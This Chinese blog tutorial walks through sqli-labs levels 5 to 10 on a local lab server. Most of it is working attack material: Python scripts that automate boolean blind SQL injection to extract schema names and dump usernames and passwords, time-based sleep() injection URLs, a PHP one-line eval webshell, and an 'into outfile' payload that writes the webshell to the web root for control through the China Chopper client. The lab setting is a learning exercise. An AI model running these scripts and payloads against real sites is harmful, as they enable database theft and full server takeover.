SQL注入之sqli-labs(二)

目录

(二)第五关至第十关

(1)补充知识

(2)第五关(布尔盲注)

(3)第六关

(4)补充知识

(5)第七关

(6)第八关

(7)第九关和第十关


(二)第五关至第十关

(1)补充知识

length() 函数:length(database())=8        看数据库名字有几位
left() 函数:left(database(),1)='s'		left(a,b) 从左侧截取a的前b位,正确则返回1,错误则返回0
regexp 函数:select user() regexp 'r'		从左往右匹配,正确为1,错误为0。user() 的结果为 root,无论regexp后面写多少位,只要匹配都返回1
like 函数:select user() like 'r%'			和上面的 regexp 很相似
substr(a,b,c):select substr() xxx		substr(a,b,c) 从位置b 开始,截取a字符串c位长度
ASCII() 					将某个字符串转化位 ascii 值


一些实例:
select length(database())=8;    1
select left(database(),1)='s';	    1
select user() regexp 'ro';	    1
select database() like 's%';	    1
select substr((select database()),1,1)='s';		    1
select ascii(substr((select database()),1,1));		    115
select ascii(substr((select database()),1,1))=99;	    0

(2)第五关(布尔盲注)

http://127.0.0.1/sqli-labs-master/Less-5/?id=1

发现返回的是一句话

http://127.0.0.1/sqli-labs-master/Less-5/?id=100

 大跨度增加一下id值,可以发现没有返回结果

判断为布尔盲注:输入正确的时候有返回结果,但是错误的时候没有返回结果。

依旧是先判断字段数:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 3--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 4--+

 字段数为3。

如果直接像前四关一样直接进行爆库返回的结果不会变化,但是可以根据输入正确有返回结果来判断数据库名字。

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())=1--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())=2--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())=3--+

这样一个一个试可以试出来数据库的长度。但是太过繁琐,这里有 python 爬虫基础的朋友可以写一个小脚本,下面是笔者写的一个小脚本,可以快速试出准确的结果:

import requests


def get_num(i, URL):
    # 判断数据库名字有几位
    url = f"{URL}/?id=1' and length(database())={i}--+"
    re=requests.get(url)
    if "You are in" in re.text:     # 判断页面是否有返回,如果有说明语句正确
        print("数据库名字有", i, "位")
        get_database(i, URL)
    else:
        i += 1
        get_num(i, URL)


if __name__ == "__main__":
    i = 1
    URL=input("请输入你要查询的网址:") # 注意输入的格式
    get_num(i, URL)

 如果没有爬虫基础的,这里推荐一款软件,Burp Suite,可以去网上搜索下载,这款软件对后面试出数据库名字等都有很大帮助。

接着试数据库名字:

import requests


def get_num(i, URL):
    # 判断数据库名字有几位
    url = f"{URL}/?id=1' and length(database())={i}--+"
    re=requests.get(url)
    if "You are in" in re.text:     # 判断页面是否有返回,如果有说明语句正确
        print("数据库名字有", i, "位")
        get_database(i, URL)
    else:
        i += 1
        get_num(i, URL)


def get_database(i,URL):
    # 检测数据库名字
    txt = 'abcdefghijklmnopqrstuvwxyz0123456789'    # 字典,也可以自己再加
    db_name = ""
    x = 1
    for i in range(i):
        for j in txt:
            k = db_name+j
            url = f"{URL}/?id=1' and left((select database()),{x})='{k}'--+"
            res = requests.get(url)
            if "You are in" in res.text:
                db_name = db_name+j
                x += 1
                break
    print("数据库名字为", db_name)
    tb_num(db_name,URL,txt)


if __name__ == "__main__":
    i = 1
    URL=input("请输入你要查询的网址:")  # 注意输入的格式
    get_num(i, URL)

这里依旧是自写的python爬虫脚本,网速好的话会需要几秒时间等待,这里也可以使用 Burp Suite来解决。具体内容可自行查询。

再查表:

import requests


def get_num(i, URL):
    # 判断数据库名字有几位
    url = f"{URL}/?id=1' and length(database())={i}--+"
    re=requests.get(url)
    if "You are in" in re.text:     # 判断页面是否有返回,如果有说明语句正确
        print("数据库名字有", i, "位")
        get_database(i, URL)
    else:
        i += 1
        get_num(i, URL)


def get_database(i,URL):
    # 检测数据库名字
    txt = 'abcdefghijklmnopqrstuvwxyz0123456789'    # 字典,也可以自己再加
    db_name = ""
    x = 1
    for i in range(i):
        for j in txt:
            k = db_name+j
            url = f"{URL}/?id=1' and left((select database()),{x})='{k}'--+"
            res = requests.get(url)
            if "You are in" in res.text:
                db_name = db_name+j
                x += 1
                break
    print("数据库名字为", db_name)
    tb_num(db_name,URL,txt)


def tb_num(db_name,URL,txt):
    # 猜测数据库中的表数
    byte=bytes(db_name,'utf-8')     # 将字符串转化为字节
    db="0x"+byte.hex()          # 将字节转化为16进制并与”0x”拼接
    for i in range(1,100):    # 合理猜一下大概有多少个
        url=f"{URL}/?id=1' and (select count(table_name) from information_schema.tables where table_schema={db})={i}--+"
        re=requests.get(url)
        if "You are in" in re.text:
            print(f"数据库{db_name}有", i, "张表")
            tb_name(i, URL, txt, db)


def tb_name(i, URL, txt, db):
    # 猜测表名
    n = 0
    for x in range(i):
        tb_name = ""
        for j in range(1,20):   # 先判断表名有几位
            url = f"{URL}/?id=1' and (select length(table_name) from information_schema.tables where table_schema={db} limit {n},1)={j}--+"
            re=requests.get(url)
            if "You are in" in re.text:
                tb_length = j
                l=1
                for p in range(tb_length):      # 再判断表名
                    for k in txt:
                        name = tb_name+k
                        # print(name)
                        url=f"{URL}/?id=1' and (select left((select table_name from information_schema.tables where table_schema={db} limit {n},1),{l}))='{name}'--+"
                        re=requests.get(url)
                        if "You are in" in re.text:
                            tb_name = tb_name+k
                            l += 1
                            break
                n += 1
                print(f"第{n}张表名为:{tb_name}")
                break


if __name__ == "__main__":
    i = 1
    URL=input("请输入你要查询的网址:")  # 注意输入的格式
    get_num(i, URL)

查字段数与字段名:

import requests


def get_num(i, URL):
    # 判断数据库名字有几位
    url = f"{URL} and length(database())={i}--+"
    re=requests.get(url)
    if "You are in" in re.text:     # 判断页面是否有返回,如果有说明语句正确
        print("数据库名字有", i, "位")
        get_database(i, URL)
    else:
        i += 1
        get_num(i, URL)


def get_database(i,URL):
    # 检测数据库名字
    txt = 'abcdefghijklmnopqrstuvwxyz0123456789'    # 字典,也可以自己再加
    db_name = ""
    x = 1
    for i in range(i):
        for j in txt:
            k = db_name+j
            url = f"{URL} and left((select database()),{x})='{k}'--+"
            res = requests.get(url)
            if "You are in" in res.text:
                db_name = db_name+j
                x += 1
                break
    print("数据库名字为", db_name)
    tb_num(db_name,URL,txt)


def tb_num(db_name,URL,txt):
    # 猜测数据库中的表数
    byte=bytes(db_name,'utf-8')     # 将字符串转化为字节
    db="0x"+byte.hex()          # 将字节转化为16进制并与”0x”拼接
    for i in range(1,100):    # 合理猜一下大概有多少个
        url=f"{URL} and (select count(table_name) from information_schema.tables where table_schema={db})={i}--+"
        re=requests.get(url)
        if "You are in" in re.text:
            print(f"数据库{db_name}有", i, "张表")
            tb_name(i, URL, txt, db)


def tb_name(i, URL, txt, db):
    # 猜测表名
    n = 0
    tb_list=[]
    for x in range(i):
        tb_name = ""
        for j in range(1,20):   # 先判断表名有几位
            url = f"{URL} and (select length(table_name) from information_schema.tables where table_schema={db} limit {n},1)={j}--+"
            re=requests.get(url)
            if "You are in" in re.text:
                tb_length = j
                l=1
                for p in range(tb_length):      # 再判断表名
                    for k in txt:
                        name = tb_name+k
                        # print(name)
                        url=f"{URL} and (select left((select table_name from information_schema.tables where table_schema={db} limit {n},1),{l}))='{name}'--+"
                        re=requests.get(url)
                        if "You are in" in re.text:
                            tb_name = tb_name+k
                            l += 1
                            break
                n += 1
                print(f"第{n}张表名为:{tb_name}")
                tb_list.append(tb_name)
                break
    column_num(tb_list, URL, db)


def column_num(tb_list, URL, db):
    # 猜测每张表的字段数
    column_num_list = []
    for i in tb_list:
        for j in range(30):
            url=f"{URL} and (select count(column_name) from information_schema.columns where table_name='{i}')={j}--+"
            re = requests.get(url)
            if "You are in" in re.text:
                column_num_list.append(j)
                print(f"表{i}的字段数为:{j}")
                #column_name(j,db, URL, tb_list)
                column_num_list.append(j)
                break
    column_name(column_num_list, db, URL, tb_list)


def column_name(column_num_list, db, URL, tb_list):
    # 猜测字段名
    del column_num_list[::2]    # 这里是因为不知道什么原因导致里面的数据重复了一份,如果有大佬知道为什么还望指点一二
    for t in range(len(tb_list)):   # 四张表,循环4次
        x = 0
        for r in range(column_num_list[t]): # 从字段列表中取出字段数并循环相应次数
            txt = 'abcdefghijklmnopqrstuvwxyz0123456789_'
            for i in range(20):     # 猜测字段名长度,合理即可
                l = 1
                cl_name = ""
                url1 = f"{URL} and (select length(column_name) from information_schema.columns where table_name = '{tb_list[t]}' limit {x},1)={i}--+"
                res = requests.get(url1)
                if "You are in" in res.text:
                    for k in range(i):
                        for j in txt:
                            name = cl_name+j
                            url2 = f"{URL} and left((select column_name from information_schema.columns where table_name = '{tb_list[t]}' limit {x}, 1),{l})='{name}'--+"
                            re = requests.get(url2)
                            if "You are in" in re.text:
                                cl_name += j
                                l += 1
                                break
                    print(f"表{tb_list[t]}字段名有:{cl_name}")
                    x += 1
                    break


if __name__ == "__main__":
    i = 1
    URL=input("请输入你要查询的网址:")  # 注意输入的格式
    get_num(i, URL)

最后爆库,这里取出 id,username,password 总的代码如下:

import requests


def get_num(i, URL, str):
    # 判断数据库名字有几位
    url = f"{URL} and length(database())={i}--+"
    re=requests.get(url)
    if str in re.text:     # 判断页面是否有返回,如果有说明语句正确
        print("数据库名字有", i, "位")
        get_database(i, URL, str)
    else:
        i += 1
        get_num(i, URL, str)


def get_database(i, URL, str):
    # 检测数据库名字
    txt = 'abcdefghijklmnopqrstuvwxyz0123456789'    # 字典,也可以自己再加
    db_name = ""
    x = 1
    for i in range(i):
        for j in txt:
            k = db_name+j
            url = f"{URL} and left((select database()),{x})='{k}'--+"
            res = requests.get(url)
            if str in res.text:
                db_name = db_name+j
                x += 1
                break
    print("数据库名字为", db_name)
    tb_num(db_name, URL, txt, str)


def tb_num(db_name, URL, txt, str):
    # 猜测数据库中的表数
    byte=bytes(db_name,'utf-8')     # 将字符串转化为字节
    db="0x"+byte.hex()          # 将字节转化为16进制并与”0x”拼接
    for i in range(1,100):    # 合理猜一下大概有多少个
        url=f"{URL} and (select count(table_name) from information_schema.tables where table_schema={db})={i}--+"
        re=requests.get(url)
        if str in re.text:
            print(f"数据库{db_name}有", i, "张表")
            tb_name(i, URL, txt, db, str)


def tb_name(i, URL, txt, db, str):
    # 猜测表名
    n = 0
    tb_list=[]
    for x in range(i):
        tb_name = ""
        for j in range(1,20):   # 先判断表名有几位
            url = f"{URL} and (select length(table_name) from information_schema.tables where table_schema={db} limit {n},1)={j}--+"
            re=requests.get(url)
            if str in re.text:
                tb_length = j
                l=1
                for p in range(tb_length):      # 再判断表名
                    for k in txt:
                        name = tb_name+k
                        url=f"{URL} and (select left((select table_name from information_schema.tables where table_schema={db} limit {n},1),{l}))='{name}'--+"
                        re=requests.get(url)
                        if str in re.text:
                            tb_name = tb_name+k
                            l += 1
                            break
                n += 1
                print(f"第{n}张表名为:{tb_name}")
                tb_list.append(tb_name)
                break
    column_num(tb_list, URL, db, str)


def column_num(tb_list, URL, db, str):
    # 猜测每张表的字段数
    column_num_list = []
    for i in tb_list:
        for j in range(30):
            url=f"{URL} and (select count(column_name) from information_schema.columns where table_name='{i}')={j}--+"
            re = requests.get(url)
            if str in re.text:
                column_num_list.append(j)
                print(f"表{i}的字段数为:{j}")
                column_num_list.append(j)
                break
    column_name(column_num_list, db, URL, tb_list, str)


def column_name(column_num_list, db, URL, tb_list, str):
    # 猜测字段名
    cl_name_list = []
    del column_num_list[::2]    # 这里是因为不知道什么原因导致里面的数据重复了一份,如果有大佬知道为什么还望指点一二
    for t in range(len(tb_list)):   # 四张表,循环4次
        x = 0
        for r in range(column_num_list[t]): # 从字段列表中取出字段数并循环相应次数
            txt = 'abcdefghijklmnopqrstuvwxyz0123456789_'
            for i in range(20):     # 猜测字段名长度,合理即可
                l = 1
                cl_name = ""
                url1 = f"{URL} and (select length(column_name) from information_schema.columns where table_name = '{tb_list[t]}' limit {x},1)={i}--+"
                res = requests.get(url1)
                if str in res.text:
                    for k in range(i):
                        for j in txt:
                            name = cl_name+j
                            url2 = f"{URL} and left((select column_name from information_schema.columns where table_name = '{tb_list[t]}' limit {x}, 1),{l})='{name}'--+"
                            re = requests.get(url2)
                            if str in re.text:
                                cl_name += j
                                l += 1
                                break
                    print(f"表{tb_list[t]}字段名有:{cl_name}")
                    x += 1
                    cl_name_list.append(cl_name)
                    break
    get_data(cl_name_list, str)


def get_data(cl_name_list, str):
    txt = 'abcdefghijklmnopqrstuvwxyz0123456789_-@'
    for i in cl_name_list[12:15]:
        for j in range(101):    # 猜测 users 里面 id
            url=f"{URL} and (select count({i}) from security.users)={j}--+"
            re=requests.get(url)
            if str in re.text:
                data_num = j
                break
        for k in range(data_num):
            dump_data = ''
            for l in range(1, 21):  # l表示每条数据的长度,合理范围即可
                url1 = f"{URL} and ascii(substr((select {i} from security.users limit {k},1),{l},1))--+"
                r = requests.get(url1)
                if str not in r.text:
                    data_len = l - 1
                    for x in range(1, data_len + 1):  # x表示每条数据的实际范围,作为mid截取的范围
                        for y in txt:
                            name = dump_data+y
                            url2 = f"{URL} and left((select {i} from security.users limit {k},1),{x})='{name}'--+"
                            r = requests.get(url2)
                            if str in r.text:
                                dump_data += y
                                break
                    print(f"{i}里面的数据有:{dump_data}")
                    break



if __name__ == "__main__":
    i = 1
    URL=input("请输入你要查询的网址:")  # 注意输入的格式
    str=input("请输入要进行判断的语句(如'You are in'):")
    get_num(i, URL, str)

第五关结束。

(3)第六关

和第五关一样的,直接用上面那一套代码,输入的 URL 不同罢了。 

(4)补充知识

1、首先在mysql 命令行下输入 

show variables like '%secure%';

查看 secure-file-priv 当前的值,如果为 NULL ,则在mysql下的my.ini文件中添加以下内容:

secure_file_priv="/"

这是为了后面学习文件读写。

2、一句话木马:

 <?php @eval($_POST['attack']);?>

比如我们可以在 phpstudy_pro\WWW 下新建一个文件,改后缀为php,编辑,将上面这句话复制进去,attack可以自己更改,这个是密码,然后重启 mysql 服务,我们可以在sqli-labs里面输入

http://127.0.0.1/test.php

这里的test.php是我自己改的名字,你改的什么就写什么,发现没有回显,然后打开中国菜刀,中国菜刀的下载地址:raddyfiy/caidao-official-version: 中国菜刀官方版本,拒绝黑吃黑,来路清晰 (github.com)

下载后解压,随便哪个版本都可以,

右键空白地方

添加(这个root是我设置的密码),然后双击,就可以得到所有数据,这个时候我们就控制了这个网站,也可以不双击进入而是右键选择虚拟终端,这个是和cmd一样的终端,命令可以自行学习。

这个是最浅显的用法,更多请读者自行学习。

3、两个函数

load_file()    读取本地文件
into outfile    写文件

select 'hello' into outfile 'd:\\test.txt';    将hello写入该文件,注意是'\\',防止转译错误,而且必须没有该文件才可以执行
select load_file('d:\\test.txt');    读取文件

(5)第七关

法一:用之前那个爬虫脚本也行

法二:

 发现有回显,且提醒用 outfile函数

首先 order by 一下发现字段数为3,然后写入这句话

http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,"<?php @eval($_POST['root']);?>" into outfile 'D:\\vmworkstation\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php'--+

这个是将php的一句话木马写入,便于后面使用中国菜刀拿到权限

http://127.0.0.1/sqli-labs-master/Less-7/test.php

发现回显中只有1,2 是因为php 语言不显示。

打开中国菜刀,添加,这个时候我们就拿到了这个网站的 webshell了。

(6)第八关

法一:依旧是那个爬虫脚本

法二:上面那个into outfile加中国菜刀也可以

法三:时间盲注

首先在补充一个函数:

select if(condition,1,2);    对condition这个语句进行判断,如果为真,则输出1,为假,则输出2
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and sleep(3)--+    使用延迟的方法判断是否存在注入漏洞。当然,判断方法很多。

运行后点击network(网络)

然后

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and if(length(database())=8,1,sleep(5))--+

 如果数据库名字长度为8(security),则返回非常快,且有回显,但如果不是8,会有5秒睡眠,可以看到左上角一直在加载

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>100,1,sleep(5))--+

之后的就是利用 if 语句进行判断取得数据库名,表名,数据等。

(7)第九关和第十关

这关不能使用那个爬虫脚本,因为不管怎样都有“you are in”在页面上

用order by 发现不管怎么样都是有回显的,所以不能使用order by函数,但是还是可以使用时间盲注来注入。

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(3)--+

运行发现睡眠了3秒,所以存在注入漏洞

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select database()),1,8)='security',1,sleep(5))--+

这里我直接这样写了,其实是应该一个一个试的,但是我就不展示了。

然后就是爆表,报数据等,就是要慢慢判断。

至于第十关就是将第九关的单引号改为双引号,其余是一样的。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

清丶酒孤欢ゞ

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值